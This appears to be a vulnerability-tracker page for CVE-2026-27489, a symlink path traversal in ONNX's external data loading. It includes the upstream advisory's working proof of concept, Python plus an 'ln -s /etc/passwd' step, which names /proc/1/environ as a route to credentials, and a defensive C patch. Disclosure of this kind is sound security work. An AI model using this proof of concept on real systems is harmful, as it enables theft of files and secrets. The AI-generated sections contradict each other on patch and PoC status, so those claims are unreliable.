Skip to main content

Python CVE-2026-27489

HIGH
Relative Path Traversal (CWE-23)
2026-03-31 https://github.com/onnx/onnx GHSA-3r9x-f23j-gc73
8.7
CVSS 4.0 · Vendor: https://github.com/onnx/onnx
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Create symlink to arbitrary file
  2. Exploit
    Submit model with symlink path
  3. Execution
    ONNX checker follows symlink
  4. Impact
    Read arbitrary file contents

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Relative path traversal prevention
Exploitation Conditions

No special conditions — remote unauthenticated exploitation against ONNX runtime when processing untrusted model files containing symlinks pointing to arbitrary filesystem locations. Attacker supplies crafted model file with symlink; victim/system processes it with ONNX checker.

Impact

Real-world risk is moderate and contextual. The attack requires the victim to load a maliciously crafted ONNX model from an untrusted source, limiting exploitability to scenarios where users download and extract compressed model archives or load models from shared directories. Attack complexity is low once the attacker can deliver the payload (a valid .onnx file paired with a symlink masquerading as external data). No authentication is required at the library level, though file system permissions still apply. The publicly available proof-of-concept lowers the barrier to exploitation significantly. Impact is limited to confidentiality breach (arbitrary file read) without integrity or availability impact, but sensitive data exposure (credentials, environment variables, configuration files) could enable secondary attacks. Absence from CISA KEV and lack of EPSS score suggest this is not yet exploited at scale, but the specific attack scenario (malicious models distributed as zip files) is realistic in ML research and production environments where practitioners frequently download pre-trained models from repositories, forums, or collaboration platforms. Organizations that validate or sanitize external models before loading face lower risk than those with permissive model loading practices.

Exploit ScenarioDerived

An attacker distributes a malicious pre-trained ONNX model via a public model repository, research collaboration platform, or email attachment as a compressed archive (model.zip). The archive contains a legitimate-looking model.onnx file and a model.data symbolic link pointing to /etc/passwd or /proc/self/environ. A data scientist or ML engineer downloads and extracts the archive, then loads the model using standard ONNX Python APIs (onnx.load('model.onnx')). The ONNX library follows the symlink, reads the target file contents, and incorporates them into the loaded model structure. The attacker gains access to sensitive system files through exfiltration channels (if the model is subsequently uploaded to a remote service) or through local access to the model object in memory. With access to environment variables, the attacker may obtain API keys, database credentials, or cloud service tokens that enable further compromise.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 31, 2026

Symlink-based path traversal in ONNX Python library allows local attackers to read arbitrary files on the host system when loading maliciously crafted ONNX models with external data. Affected users who load untrusted ONNX models from compressed archives or external sources may inadvertently expose sensitive files (/etc/passwd, environment variables via /proc/1/environ, etc.). Publicly available exploit code exists with a detailed proof-of-concept demonstrating the vulnerability. No EPSS score or CISA KEV listing available at time of analysis, suggesting exploitation is not yet widespread.

RemediationAI

Upstream fix available via GitHub advisory at github.com/onnx/onnx/security/advisories/GHSA-3r9x-f23j-gc73, though a released patched version number is not independently confirmed from the provided data. The reporter suggests implementing O_NOFOLLOW flag when opening external data files using openat() system calls with fstat() validation to prevent symlink traversal, as demonstrated in the sample patch code. Organizations should upgrade to the latest ONNX package version once released and monitor the GitHub advisory for version-specific remediation guidance. As an immediate workaround, validate ONNX model files before loading by inspecting external data references and verifying no symbolic links exist in the model directory using platform-appropriate checks (lstat on UNIX, file attributes on Windows). Implement principle of least privilege by running model loading processes with restricted filesystem permissions. Never load ONNX models from untrusted sources without prior inspection, and extract model archives in isolated directories with read-only mounts where possible.

Affected Packages

pypi onnx fix: 1.21.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

ONNX is a widely-used open neural network exchange format for interoperability between machine learning frameworks. The vulnerability exists in the external data loading mechanism (onnx/checker.cc lines 1024-1033) where ONNX models store large tensor weights in separate files referenced by the .onnx model file. The flawed implementation uses std::filesystem::is_regular_file which performs a status() call that follows symbolic links rather than examining the link itself. This maps to CWE-23 (Relative Path Traversal) where symlink handling bypasses intended access restrictions. When a model references external data (e.g., model.data), an attacker can replace this file with a symlink pointing to any readable file on the filesystem. The C++ standard library function follows the symlink, validates the target is a regular file, and proceeds to read its contents into the model structure. This affects the pkg:pip/onnx package across multiple platforms despite the POC using UNIX-specific symlinks, as the underlying C++ filesystem library behavior is cross-platform.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/onnx/onnx) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
SUSE 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Red Hat 8.6 HIGH

Primary rating from Vendor (https://github.com/onnx/onnx).

CVSS VectorVendor: https://github.com/onnx/onnx

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch released
Apr 01, 2026 - 02:30 nvd
Patch available
CVE Published
Mar 31, 2026 - 22:34 nvd
HIGH 8.7

DescriptionCVE.org

Summary

A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory.

Details

The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system: https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033

std::filesystem::is_regular_file performs a status(p) call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file.

PoC

python
# Create a demo model with external data
import os
import numpy as np
import onnx
from onnx import helper, TensorProto, numpy_helper

def create_onnx_model(output_path="model.onnx"):
    weight_matrix = np.random.randn(1000, 1000).astype(np.float32)

    X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 1000])
    Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 1000])
    W = numpy_helper.from_array(weight_matrix, name="W")

    matmul_node = helper.make_node("MatMul", inputs=["X", "W"], outputs=["Y"], name="matmul")

    graph = helper.make_graph(
        nodes=[matmul_node],
        name="SimpleModel",
        inputs=[X],
        outputs=[Y],
        initializer=[W]
    )

    model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 11)])
    onnx.checker.check_model(model)

    data_file = output_path.replace('.onnx', '.data')

    if os.path.exists(output_path):
        os.remove(output_path)
    if os.path.exists(data_file):
        os.remove(data_file)

    onnx.save_model(
        model,
        output_path,
        save_as_external_data=True,
        all_tensors_to_one_file=True,
        location=os.path.basename(data_file),
        size_threshold=1024 * 1024
    )

if __name__ == "__main__":
    create_onnx_model("model.onnx")
  1. Run the above code to generate a sample model with external data.
  2. Remove model.data
  3. Run ln -s /etc/passwd model.data
  4. Load the model using the following code
  5. Observe check for symlink is bypassed and model is succesfuly loaded
python
import onnx
from onnx.external_data_helper import load_external_data_for_model

def load_onnx_model_basic(model_path="model.onnx"):
    model = onnx.load(model_path)
    return model

def load_onnx_model_explicit(model_path="model.onnx"):
    model = onnx.load(model_path, load_external_data=False)
    load_external_data_for_model(model, ".")
    return model

if __name__ == "__main__":
    model = load_onnx_model_basic("model.onnx")

A common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing poc.onnx and poc.data (symlink). Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.

Impact

Read sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.

NOTE: this issue is not limited to UNIX.

Sample patch

c
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>

int open_external_file_no_symlink(const char *base_dir,
                                  const char *relative_path) {
    int dirfd = -1;
    int fd = -1;
    struct stat st;

    // Open base directory
    dirfd = open(base_dir, O_RDONLY | O_DIRECTORY);
    if (dirfd < 0) {
        return -1;
    }

    // Open the target relative to base_dir
    // O_NOFOLLOW => fail if final path component is a symlink
    fd = openat(dirfd,
                relative_path,
                O_RDONLY | O_NOFOLLOW);
    close(dirfd);

    if (fd < 0) {
        // ELOOP is the typical error if a symlink is encountered
        return -1;
    }

    // Inspect the *opened file*
    if (fstat(fd, &st) != 0) {
        close(fd);
        return -1;
    }

    // Enforce "regular file only"
    if (!S_ISREG(st.st_mode)) {
        close(fd);
        errno = EINVAL;
        return -1;
    }

    // fd is now:
    // - not a symlink
    // - not a directory
    // - not a device / FIFO / socket
    // - race-safe
    return fd;
}

Resources

  • https://cwe.mitre.org/data/definitions/61.html
  • https://discuss.secdim.com/t/input-validation-necessary-but-not-sufficient-it-doesnt-target-the-fundamental-issue/1172
  • https://discuss.secdim.com/t/common-pitfalls-for-patching-path-traversal/3368

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 20 pypi packages depend on onnx (14 direct, 6 indirect)

Ecosystem-wide dependent count for version 1.21.0.

Executive ViewAI

Why It Matters

CVE-2026-27489 is a local path traversal vulnerability in the ONNX Python library that allows attackers to read arbitrary files from host systems when users load maliciously crafted ONNX models. Organizations using ONNX for machine learning workflows that process models from untrusted sources risk exposure of sensitive system files and credentials. This affects data science teams, model validation pipelines, and any automation that ingests external ONNX artifacts.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Load ONNX models only from cryptographically verified or internally controlled sources; (2) Run ONNX processing in containerized or VM-based sandboxes with read-only access to sensitive directories (/etc, /proc); (3) Implement strict file system access controls (SELinux/AppArmor policies) limiting ONNX library process privileges; (4) Disable external data loading in ONNX model configurations where possible; (5) Monitor and audit all ONNX model file operations via filesystem monitoring tools.

Threat Intelligence Overview

EPSS Score
0.1%
Top 80% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Affected Products (CPE)CVE.org

pkg:pip/onnx

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: High

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy